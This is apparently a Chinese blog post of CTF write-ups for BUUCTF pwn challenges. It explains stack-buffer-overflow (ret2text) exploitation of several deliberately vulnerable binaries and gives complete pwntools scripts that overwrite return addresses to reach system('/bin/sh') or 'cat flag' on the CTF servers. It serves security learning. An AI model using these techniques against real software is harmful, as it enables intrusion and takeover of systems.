BUUCTF-pwn专题

buuctf

栈溢出

rip

ret2text,返回到代码中本来就有的恶意函数

拿到附件后,首先进程checksec

image-20221019224201673

  • RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
  • Stack:如果栈中开启Canary found,金丝雀值,在栈返回的地址前面加入一段固定数据,栈返回时会检查该数据是否改变。那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
  • NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过
  • PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址

用64位IDA打开,主函数代码如下:

image-20221019224242192

其对应的C代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]
  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

漏洞很明显,gets函数可以无限读入字符串,没有开canary可以自由栈溢出,双击s变量,进入main函数的栈区,可以看到输入的参数s距离main函数的返回地址 r有 0xf + 8个字节,我们需要覆盖这些地址,位于000000000处的s是存上一个ebp的值,用于恢复上一个函数,位于0000000008处的r是这个函数的返回地址,因此只需要覆盖返回地址 r,使它变成我们想要的函数地址,就可以劫持程序,让程序执行完main就执行我们想要的函数。

image-20221019225125847

接下来找我们要执行的函数,由于题目比较简单,我们可以找到func函数内调用了system函数,因此我们可以使上面的ret指令的返回地址为该函数的地址,从而达到任意命令执行的效果。为什么要ret0x40118A处呢,

retn指令 call后要返回 相当于pop eip,esp会加4 ret 8 --两条指令,一个retn,一个esp+8

image-20221019225402091

int fun()
{
  return system("/bin/sh");
}
#!/usr/bin/python    
# -*- coding: utf-8 -*-

from pwn import *  #调用pwntools库
r = remote('node4.buuoj.cn',27563)
# r = process('./pwn1') # 调试时使用本地链接
# 解释一下0xf + 8,0xf是变量s距离rbp,的距离,8是用来覆盖rbp的(64位下为8字节)  ebp下面就是调用者函数的返回地址
p1 = b'a' * (0xf + 8) + p64(0x040118A)  # 注意这个地址是 func函数内  lea rdi,command 的地址   python3中这个b不能省
# 用 'a' 覆盖到ret指令之前,刚好0xf+8个字节,之后是ret指令, 将0x0401186进行64位的打包(小端序),覆盖ret指令处的返回地址,该地址是调用system()函数的位置
r.sendline(p1)   # 发送数据,相当于传入 get(s) 的参数s
r.interactive()  # 开启shell交互

image-20221020130038430

warmup_csaw_2016

首先利用checksec查看保护措施,

image-20221020224145272

IDA打开后,先搜索字符串,发现可疑字段,ctrl + x看哪个函数使用了这个字符串

image-20221020224346727

image-20221020225545958

接着查看main函数代码如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]  可以得到栈空间为  0x80
  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5, ">");
}

查看一下v5的地址,如上面所写,位于rsp + 40h的地方,因此只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址。返回地址就是之前的system("cat flag.txt")即0x40060D

image-20221020225251857

image-20221020225411924

这里发现一个问题,我将返回地址设置为上面函数的起始地址即0x40060D和函数内压完栈后的地址0x400611均是成立的,因为我们只需要调用system("cat flag.txt"),上面的压栈和保存ebp的操作对我们读取flag时没影响的。

image-20221020230117295

攻击脚本如下

from pwn import *  #调用pwntools库
r = remote('node4.buuoj.cn',28540)
# r = process('./pwn1') # 调试时使用本地链接
# 解释一下0xf + 8,0xf是变量s距离rbp,的距离,8是用来覆盖rbp的(64位下为8字节)
p1 = b'a' * (0x40 + 8) + p64(0x0400616)  # 注意这个地址是 func函数内  lea rdi,command 的地址   python3中这个b不能省
# 用 'a' 覆盖到ret指令之前,刚好0xf+8个字节,之后是ret指令, 将0x0401186进行64位的打包(小端序),覆盖ret指令处的返回地址,该地址是调用system()函数的位置
r.sendline(p1)   # 发送数据,相当于传入 get(s) 的参数s
r.interactive()  # 开启shell交互

执行后即可获取flag

image-20221020230711907

ciscn_2019_n_1

首先查看elf文件的保护措施

image-20221021230804216

使用IDA打开,进行静态分析,找到与flag相关的字符串,ctrl + x查看交叉引用,进入到这个函数

int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1);
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}
// 在main函数中调用了 func
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}

解法一:根据提示正确猜测变量v2的值,并通过栈溢出覆盖v2的值

由上面分析可知,gets函数读取我们的输入到v1这个变量,这里发现IDA一个小技巧,在汇编代码下选中一个值,tab键切换到源代码后光标会停留在该值对应的C语言的变量上,xmm0对应的就是变量v2,是一个浮点数,下面是让我们猜数字,猜测v2的值即可。

pxor指令,源存储器128个二进制位'异或'目的寄存器128个二进制位,结果送入目的寄存器,内存变量必须对齐内存16字节。

ucomiss指令会根据两个比较操作数的数值得到对应的四种不同的结果,对于每一种结果,OF、AF、SF 这三个标志位都会被清零,而 ZF、CF、PF 这三个标志位会根据比较结果的不同而有所不同。具体如下面的表格

比较结果 描述 ZF PF CF
UNORDERED 当任一一个操作数为NaN时(包括QNaN和SNaN) 1 1 1
大于 当第一个操作数大于第二个操作数时 0 0 0
小于 当第一个操作数小于第二个操作数时 0 0 1
等于 当第一个操作数相等于第二个操作数时 1 0 0

image-20221021231219282

再往下看,当我们调用gets()函数读取输入v1后,这题逻辑就是输入v1,但判断v2的值是否是11.28125,有上面的代码也可以看出,v1变量的地址为rbp - 60h,v2变量的地址为rbp - 4h因此,覆盖0x30-0x4=44个字节给v1,另外4个字节给v2即可覆盖v2的值,那么v2的值应该是什么呢,下面就给出了它的浮点数为11.28125,需要转化为16进制字节码传输,下面jp是当标志位PF为1(1的个数为偶数)时跳转,ucomiss是浮点数比较指令,如果v2的值等于设定的值,那么第一次比较PF标志位为0,jp指令不会执行,第二次比较ZF标志位为1,也不会执行jnz指令,所以就执行到了system("cat /flag"),查看该地址的内容如下,猜测该地址所存储的数应该就是v2应该的值,即11.28125的16进制表示 0x41348000

image-20221021231615591

image-20221021232137441

之后就简单了,编写exp脚本如下

from pwn import *
r = remote('node4.buuoj.cn',25831)
p1 = b'a' * (0x30 - 0x4) + p64(0x41348000)
r.sendline(p1)
r.interactive()

攻击结果如下:

image-20221021232927543

解法二:直接跳过判断,覆盖返回地址为system("cat /flag"),注意还需要覆盖rbp

只有构造的payload有区别,这时垃圾数据显然就需要变多了,需要覆盖的长度为0x30 + 0x8

image-20221021234525121

image-20221021234544798

还需要找到system函数的地址,即0x4006BE

image-20221114153107094

脚本如下,此解法的思路与上面两道题目完全相同

from pwn import *
r = remote('node4.buuoj.cn',25831)
p1 = b'a' * (0x30 + 0x8) + p64(0x4006BE)
r.sendline(p1)
r.interactive()

pwndbg的插件cyclic可以确定返回的栈偏移,即我们需要构造的填充字符的大小, cyclic 200生成长度为200的随机字符串,然后run,将生成的字符串输入,输入cyclc -l oaaaoaaa为上面生成的字符串的前四个,存放在栈指针指向的位置,该命令可以返回需要覆盖的栈偏移量,但是注意cyclc -l xxxx,后面必须是四个字节的参数

image-20221023175553575

pwn1_sctf_2016

首先查看保护机制,可以看到开启了NX保护,栈中地址不可执行,所以不能通过写shellcode达到攻击目的

image-20221022233048022

还是使用IDA进行分析,32位IDA打开,查看敏感字符串发现cat flag.txtctrl + x查看交叉引用

image-20221022233152138

进入main函数,其代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

int vuln()
{
  int v0; // ST08_4
  int v1; // ST04_4
  int v2; // ST04_4
  const char *v3; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v6; // [esp+3Ch] [ebp-1Ch]
  char v7; // [esp+40h] [ebp-18h]
  char v8; // [esp+47h] [ebp-11h]
  char v9; // [esp+48h] [ebp-10h]
  char v10; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);  // 获取我们输入的地方  限制了读取32字节到s   s的地址为 ebp - 0x3c 我们要覆盖返回地址显然需要覆盖   ebp,至少需要覆盖 0x3c 即 60个字节,那怎么办呢
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v8);
  std::string::string(&v7, "you", &v8);
  std::allocator<char>::allocator(&v10);
  std::string::string(&v9, "I", &v10);
  replace((std::string *)&v6, (std::string *)&input, (std::string *)&v9);
  std::string::operator=(&input, &v6, v0);
  std::string::~string((std::string *)&v6);
  std::string::~string((std::string *)&v9);
  std::allocator<char>::~allocator(&v10, v1);
  std::string::~string((std::string *)&v7);
  std::allocator<char>::~allocator(&v8, v2);
  v3 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v3);  // 将重组后的字符串 v3 赋值给s
  return printf("So, %s\n", &s);
}

本题难度有些提升,因为fgets()函数限制了输入的字节数为32字节以内,但我们如果想覆盖函数返回地址,需要覆盖至少60个字节的数据,怎么做到呢?看有没有别的函数可以利用,replace函数会将 'I'替换为 'you',所以我们输入20个字节就可以达到覆盖60个字节栈地址的效果了。也可以通过gdb输入I查看是否替换为了you

那么返回地址覆盖成什么呢,查看system(cat flag.txt)函数的地址0x8048f13

image-20221022234805648

那么就可以编写exp脚本了

from pwn import *

r = remote('node4.buuoj.cn',25253)
p1 = b'I'*20 + b'a'*4 + p64(0x8048f13)  # 20个I用来覆盖栈空间  4个a用来覆盖ebp(32位程序,只需要4字节)
r.sendline(p1)
r.interactive()

image-20221022235022633

jarvisoj_level0

image-20221024230424669

IDA打开

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}
ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]   buf的地址为rbp - 80

  return read(0, &buf, 0x200uLL);  // 可以看到 read 函数读取0x200个字节  0表示标准读入
}

之后又找到了我们可以覆盖的危险函数,地址为0x40059A

image-20221024230725279

然后就可以开始编写脚本了

from pwn import *

r = remote('node4.buuoj.cn',29225)
# read 函数读取0x200 也就是512字节的数据
p1 = b'a' * 0x80 + b'a' * 8 + p64(0x40059a)
r.sendline(p1)
r.interactive()

image-20221024231337133

ret2shellcode,与ret2text类似,不同的是程序本身没有像system这样调用shell的函数,所以我们需要在内存中自己找一块可执行的段(通常遇到的是.bss段),在这个段中写入自己的shellcode,然后根据题目再调用执行自己的shellcode,最终拿到shell。

image-20221019234113149

两个网上可以找shellcode的地址:1 2

posted @ 2022-11-14 14:46  Svicen  阅读(74)  评论(0编辑  收藏  举报